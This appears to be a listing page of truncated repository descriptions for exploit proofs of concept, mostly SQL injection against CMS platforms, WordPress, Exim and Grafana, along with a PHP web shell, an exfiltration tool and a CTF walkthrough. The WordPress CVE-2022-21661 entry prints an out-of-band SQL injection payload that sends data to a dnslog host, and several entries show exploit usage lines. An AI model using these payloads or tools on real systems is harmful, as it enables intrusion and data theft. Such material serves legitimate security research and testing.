CVE-2019-9053

CVE 2019-9053 세부 정보 설명 이 코드는 Python 3로 구현된 시간 기반 블라인드 SQL 인젝션Time-Based Blind SQL Injection 공격입니다. 이 공격은 HTTP 요청을 통해 콘텐츠 관리 시스템CMS Made Simple 2.2.8의 SQL 인젝션 취약점을 악용하도록 설계되었습니다. 익스플로잇 사용: exploit.py -u http://target-uri -w /path-wordlist -c 참고 자료 1 CMS 익스플로잇...

b374k

b374k shell 3.2 This PHP Shell is a useful tool for system or web administrator to do remote management without using cpanel, connecting using ssh, ftp etc. All actions take place within a web browser Features : File manager view, edit, rename, delete, upload, download, archiver, etc Search file,...

wordpress-CVE-2022-21661

wordpress-CVE-2022-21661 version5.8.3 경로：http://your target/wp-admin/admin-ajax.php 주입 유형은 out-of-band이며, dnslog를 직접 지정하고 ceye.io를 대체해야 합니다. POST- 데이터："taxquery":"field":"termtaxonomyid","terms":"1 and ifselect loadfileconcat'\',select version,'.27s601.ceye.io\abc',1,1-- a"...

Wordpress-cve-CVE-2022-21661

Wordpress 5.8.2 CVE-2022-21661 Vuln enviroment This enviroment is setup with the Elementor Custom Skin, plugin to test the CVE-2022-21661. to start the enviroment console wp-lab$ ./start.sh To get the admin password get the log from the running container, a new pwd is generated every time the...

Collabfiltrator

Collabfiltrator Burp Collaborator를 통해 DNS로 블라인드 원격 코드 실행RCE 및 SQL 인젝션 출력을 외부 유출합니다. 버전: 4.0.1 작성자: Adam Logue Jared McLaren Frank Scarpella Ryan Griffin AI 작성자: Claude 3.5 Sonnet ChatGPT 4o 요구 사항: Burp Suite Professional 2024.12.1 이상 지원: 소스에서 빌드하기 Burp Suite Professional에 설치하기 원본 블로그 게시물 지원되는 RCE...

joomla-cve-2018-6396

Joomla-CVE-2018-6396 Joomla! 구성요소 Google Map Landkarten PoC cve-2018-6396...

CVE-2024-32640-SQLI-MuraCMS

Muraider - Automating the detection & Exploitation of CVE-2024-32640 \ SQLi in Mura/Masa CMS Usage Detection: python3 CVE-2024-32640.py --url https://target.com/ Ghauri Exploitation Pass '-g' or '--ghauri' as argument: Parse in any arguments that you wish to use with Ghauri, following their...

CVE-2025-26794

CVE-2025-26794: Exim 4.98의 블라인드 SQL 인젝션 SQLite DBM - 익스플로잇 분석 Exim 보고서: https://www.exim.org/static/doc/security/CVE-2025-26794.txt 이 취약점은 수동 코드 리뷰를 통해 발견했습니다. 취약점 상세: 문제점 SQLite가 DBM으로 사용될 때 SQL 파라미터가 제대로 처리되지 않습니다. 이로 인해 원격 사용자가 사용자 정의 SQLite 쿼리를 조작할 가능성이 생깁니다. 요구 사항: "USESQLITE = yes"로 Exim을...

CVE-2024-30998

PHPGurukul Men Salon Management System 2.0 PHPGurukul Men Salon Management System 2.0 저장소에 오신 것을 환영합니다. 이 프로젝트는 남성 살롱 관리를 위한 강력한 시스템을 제공하는 것을 목표로 합니다. 보안 취약점 CVE-2024-30998 설명: 'email' 매개변수를 통한 SQL Injection에 취약합니다. 영향받는 버전: 2.0 영향: 공격자가 'email' 매개변수를 조작하여 잠재적으로 무단 액세스 권한을 얻을 수 있습니다. 해결 방법: 적절한 입...

CVE-2024-50629_50631

CVE-2024-5062950631 Synology BeeStation의 사전 인증 RCE N-day 익스플로잇. 상세: https://kiddo-pwn.github.io/blog/2025-11-30/writing-sync-popping-cron https://github.com/user-attachments/assets/8e2ef59c-4f60-4308-8cd4-6d7ce0ba72e1 $ python3 poc.py 192.168.88.248 192.168.88.254 LISTENER listening on port 1337...

CVE-2021-32099

CVE-2021-32099 PoC 이 저장소는 CVE-2021-32099 취약점에 대한 개념 증명PoC 익스플로잇을 제공하며, Pandora FMS 742 에 영향을 미칩니다. 이 익스플로잇은 인증되지 않은 공격자가 SQL 삽입 취약점을 악용하여 권한이 없는 세션을 관리자 수준 계정으로 승격시킬 수 있는 방법을 보여줍니다. 관리자 액세스 권한을 획득하면 공격자는 Pandora FMS 파일 관리자를 통해 임의의 PHP 파일을 업로드하여 원격 코드 실행을 유발하고 웹 서버 사용자 권한으로 서버를 손상시킬 수 있습니다. ⚠️ 면책 조...

CVE-2024-50491

CVE-2024-50491 RSVP ME = 1.9.9 - 인증되지 않은 SQL 인젝션 설명 WordPress용 RSVP ME 플러그인은 1.9.9를 포함한 이하 버전에서 사용자가 제공한 매개변수에 대한 이스케이프 처리 부족과 기존 SQL 쿼리에 대한 사전 준비 부족으로 인해 SQL 인젝션에 취약합니다. 이를 통해 인증되지 않은 공격자가 기존 쿼리에 추가 SQL 쿼리를 덧붙여 데이터베이스에서 민감한 정보를 추출할 수 있게 됩니다. 세부 정보 유형 : 플러그인 슬러그 : rsvp-me 영향받는 버전 : 1.9.9 CVSS 점수 ...

OSTE-Meta-Scan

OSTE-Meta-Scanner This project is now maintained and supported by OSTE and is no longer available as an open-source project. For inquiries, commercial use, or support, please contact OSTE via LinkedIn, or official website, or sales team at +213.7.98.38.94.54 via whatsup. This project aims to...

SimpleCTF-THM-Walkthrough

SimpleCTF-THM-Relatory 첫 CTF를 성공적으로 완료했습니다! 이 저장소는 TryHackMe의 Simple CTF에 대한 제 워크스루를 문서화합니다. 네트워크 정찰Nmap, 웹 익스플로잇CVE-2019-9053, 크리덴셜 크래킹을 다룹니다. 개발자로서 Sudo 잘못된 구성을 활용해 SQLi에서 Root 셸로 전환한 것은 훌륭한 경험이었습니다. 교육 목적으로만 사용하세요. 이 저장소는 TryHackMe의 Simple CTF 룸에 대한 기술 문서와 단계별 워크스루를 포함합니다. 이는 초기 정찰부터 루트 권한 상승까...

CVE-2024-36837

CVE-2024-36837 / CNVD-2024-30128 POC url.txt에 URL을 작성하고 CVE-2024-36837.py를 실행하세요. CVE-2024-36837 대학교 1학년 때, 인터넷 보호 활동 중 한 교육 기관이 온라인 스토어로 CRMEB Mall을 사용하고 있음을 발견했습니다. 테스트 후 SQL 인젝션 취약점을 발견했습니다. 로컬 환경을 구축한 후, 해당 취약점은 CRMEB-KY v5.2.2 이상의 CRMEB 버전에서도 발견되었습니다. Sqlmap: python sqlmap.py -u...

CVE-2022-21661-Demo

이 저장소는 WordPress 5.8.2의 취약점을 시연합니다. 이 취약점은 class-wp-tax-query.php에서 살균 처리가 누락되어 매우 특정한 상황에서 공격자가 SQL 인젝션을 수행할 수 있게 합니다. 단, 성공적인 악용을 위해서는 개발자가 WordPress 인스턴스에 취약한 코드를 추가해야 하며, 이 경우 살균되지 않은 사용자 입력이 SQL 함수를 구성하는 데 사용되는 $terms 변수에 전달됩니다. 포함된 "evil" 플러그인의 evil.php와 class-wp-tax-query.php의...

CVE-2026-6433

CVE-2026-6433 — 개념 증명 FlipperCode — 커스텀 CSS, JS 및 PHP · 인증되지 않은 SQL 인젝션 → RCE eval을 통해 영향 받는 버전: FlipperCode 커스텀 CSS, JS 및 PHP ≤ 2.0.7 · WordPress 플러그인의 공격 표면 admin-ajax.php를 통해 한눈에 보기 항목| 세부사항 ---|--- 벡터| 플러그인 AJAX 액션을 통해 터널링된 인증되지 않은 SQLi 영향| WordPress 호스트에서 원격 코드 실행 페이로드가 문서 루트에 기록된 후 PHP 컨텍스트...

CVE-2024-9264

CVE-2024-9264 Grafana 인증 후 DuckDB SQL 인젝션 RCE, 파일 읽기 개념 증명 PoC 이 PoC는 CVE-2024-9264의 악용을 시연하며, 인증된 사용자가 DuckDB SQL 쿼리를 수행하여 파일시스템의 임의 파일을 읽거나 원격으로 임의 코드를 실행할 수 있음을 보여줍니다. 임의 코드 실행은 Grafana v11.0.0에서만 가능합니다. 파일 읽기는 모든 취약한 버전에서 가능합니다. 설정: 다음을 통해 필요한 종속성을 설치합니다: pip install -r requirements.txt 사용법 파...

wp2shell-poc

wp2shell PoC WordPress REST API 배치 라우트 혼동 체인CVE-2026-63030 + CVE-2026-60137을 악용한 사전 인증pre-auth 타이밍 기반 SQL 인젝션 PoC 중 최초의 PoC입니다. 단순히 관리자 비밀번호를 크랙하려는 시도 없이 명령 실행을 달성했습니다. 영향을 받는 버전: WordPress 6.9.0–6.9.4 및 7.0.0–7.0.1. 6.9.5 및 7.0.2에서 수정되었습니다. python3 poc.py https://target.example python3 poc.py...

TraditionalJay

TraditionalJay Intentionally vulnerable classic / traditional shop for security workshops — Java on a VM EC2, Azure VM, or GCP Compute Engine, not containers. Primary story: Critical VM Compromise — SQL injection → Log4Shell CVE-2021-44228 → reverse shell to external C2. !CAUTION Do not deploy to...